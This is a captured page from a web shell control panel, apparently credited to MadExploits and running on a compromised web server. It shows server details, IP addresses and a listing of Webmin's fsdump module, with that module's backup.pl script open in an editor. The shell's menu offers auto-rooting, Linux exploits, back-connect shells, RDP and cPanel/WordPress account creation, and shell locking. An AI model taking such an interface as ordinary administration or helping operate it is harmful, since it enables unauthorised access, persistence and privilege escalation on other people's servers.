Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
fsdump /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
3.42
KB
-rw-r--r--
acl_security.pl
1.16
KB
-rwxr-xr-x
backup.cgi
2.27
KB
-rwxr-xr-x
backup.pl
3.17
KB
-rwxr-xr-x
cgi_args.pl
361
B
-rwxr-xr-x
config
91
B
-rw-r--r--
config.info
534
B
-rw-r--r--
config.info.ar
640
B
-rw-r--r--
config.info.ca
658
B
-rw-r--r--
config.info.cs
437
B
-rw-r--r--
config.info.de
632
B
-rw-r--r--
config.info.es
430
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ko
451
B
-rw-r--r--
config.info.nl
608
B
-rw-r--r--
config.info.no
588
B
-rw-r--r--
config.info.pl
672
B
-rw-r--r--
config.info.pt_BR
440
B
-rw-r--r--
config.info.ru
144
B
-rw-r--r--
config.info.uk
157
B
-rw-r--r--
defaultacl
39
B
-rw-r--r--
delete_dumps.cgi
720
B
-rwxr-xr-x
edit_dump.cgi
5.54
KB
-rwxr-xr-x
feedback_files.pl
229
B
-rwxr-xr-x
freebsd-lib.pl
12.2
KB
-rwxr-xr-x
fsdump-lib.pl
8.1
KB
-rwxr-xr-x
ftp.pl
3.69
KB
-rwxr-xr-x
index.cgi
4.63
KB
-rwxr-xr-x
install_check.pl
379
B
-rwxr-xr-x
irix-lib.pl
8.19
KB
-rwxr-xr-x
kill.cgi
877
B
-rwxr-xr-x
linux-lib.pl
23.24
KB
-rwxr-xr-x
log_parser.pl
770
B
-rwxr-xr-x
macos-lib.pl
12.2
KB
-rwxr-xr-x
module.info
447
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
162
B
-rw-r--r--
module.info.ar
232
B
-rw-r--r--
module.info.ar.auto
19
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
307
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
298
B
-rw-r--r--
module.info.ca
138
B
-rw-r--r--
module.info.ca.auto
17
B
-rw-r--r--
module.info.cs
31
B
-rw-r--r--
module.info.cs.auto
116
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
152
B
-rw-r--r--
module.info.de
146
B
-rw-r--r--
module.info.de.auto
13
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
355
B
-rw-r--r--
module.info.es
50
B
-rw-r--r--
module.info.es.auto
149
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
170
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
235
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
188
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
191
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
188
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
168
B
-rw-r--r--
module.info.hu
31
B
-rw-r--r--
module.info.hu.auto
155
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
181
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
231
B
-rw-r--r--
module.info.ko
32
B
-rw-r--r--
module.info.ko.auto
125
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
178
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
157
B
-rw-r--r--
module.info.ms
123
B
-rw-r--r--
module.info.ms.auto
19
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
153
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.auto
130
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.auto
127
B
-rw-r--r--
module.info.pl
102
B
-rw-r--r--
module.info.pl.auto
18
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
159
B
-rw-r--r--
module.info.pt_BR
41
B
-rw-r--r--
module.info.pt_BR.auto
127
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
164
B
-rw-r--r--
module.info.ru
50
B
-rw-r--r--
module.info.ru.auto
218
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
160
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
176
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
158
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
265
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
162
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
305
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
223
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
183
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
119
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
98
B
-rw-r--r--
multi.pl
572
B
-rwxr-xr-x
newtape.cgi
592
B
-rwxr-xr-x
newtape.pl
1.58
KB
-rwxr-xr-x
notape.pl
493
B
-rwxr-xr-x
prefs.info
21
B
-rw-r--r--
restore.cgi
935
B
-rwxr-xr-x
restore_form.cgi
1.1
KB
-rwxr-xr-x
rmulti.pl
784
B
-rwxr-xr-x
save_dump.cgi
3.97
KB
-rwxr-xr-x
solaris-lib.pl
6.36
KB
-rwxr-xr-x
uninstall.pl
347
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup.pl
#!/usr/bin/perl # backup.pl # Perform a backup and send the results to someone $no_acl_check++; require './fsdump-lib.pl'; $dump = &get_dump($ARGV[0]); $dump->{'id'} || die "Dump $ARGV[0] does not exist!"; # Check if this backup is already running &foreign_require("proc", "proc-lib.pl"); @procs = &proc::list_processes(); @running = &running_dumps(\@procs); ($running) = grep { $_->{'id'} eq $dump->{'id'} && $_->{'pid'} != $$ } @running; $sfile = "$module_config_directory/$dump->{'id'}.$$.status"; if ($running) { # Already running! Do nothing .. $ok = 0; $out = &text('email_already', $running->{'pid'})."\n"; } else { # Update status file %status = ( 'status' => 'running', 'pid' => $$, 'start' => time() ); &write_file($sfile, \%status); if ($dump->{'email'}) { # Save output for mailing $temp = &transname(); open(OUT, ">$temp"); } else { # Throw output away open(OUT, ">/dev/null"); } # Create tape change wrapper &create_wrappers(); $bok = &execute_before($dump, OUT, 0); if (!$bok && !$dump->{'beforefok'}) { # Before command failed! print OUT "\n$text{'email_ebefore'}\n"; $status{'status'} = 'failed'; } else { # Do the backup $now = time(); $ok = &execute_dump($dump, OUT, 0, 1, $now); # Re-update the status file if ($ok) { # Worked .. but verify if asked if ($dump->{'reverify'}) { print OUT "\n$text{'email_verify'}\n"; $ok = &verify_dump($dump, OUT, 0, 1, $now); } if ($ok) { $status{'status'} = 'complete'; } else { $status{'status'} = 'verifyfailed'; } } else { $status{'status'} = 'failed'; } } $status{'end'} = time(); &write_file($sfile, \%status); if ($status{'status'} eq 'complete' || $dump->{'afteraok'}) { # Execute the post-backup script $dump{'status'} = $status{'status'}; $bok = &execute_after($dump, OUT, 0); if (!$bok && !$dump->{'afterfok'}) { print OUT "\n$text{'email_eafter'}\n"; $status{'status'} = 'failed'; $ok = 0; } } close(OUT); if ($temp) { # Read output open(OUT, "<".$temp); while(<OUT>) { s/\r//g; $out .= $_; } close(OUT); unlink($temp); } } if ($out && $dump->{'email'} && &foreign_check("mailboxes")) { # Construct the email &foreign_require("mailboxes", "mailboxes-lib.pl"); $host = &get_system_hostname(); @dirs = &dump_directories($dump); $dirs = join(", ", @dirs); %hash = ( %$dirs, 'dirs' => $dirs ); local $subject = &substitute_template($dump->{'subject'}, \%hash) || &text('email_subject', $dirs, $host); local $data = &text('email_subject', $dirs, $host)."\n\n"; $data .= $out; $data .= "\n"; if ($ok) { $data .= $text{'email_ok'}."\n"; } else { $data .= $text{'email_failed'}."\n"; } # Send the email if (!$ok || !$config{'error_email'}) { # Only send email upon failure, or it requested always &mailboxes::send_text_mail(&mailboxes::get_from_address(), $dump->{'email'}, undef, $subject, $data, $config{'smtp_server'}); } } # Check for any dumps scheduled to run after this one foreach $follow (&list_dumps()) { if ($follow->{'follow'} eq $dump->{'id'} && $follow->{'enabled'} == 2) { system("$cron_cmd $follow->{'id'}"); } }
Close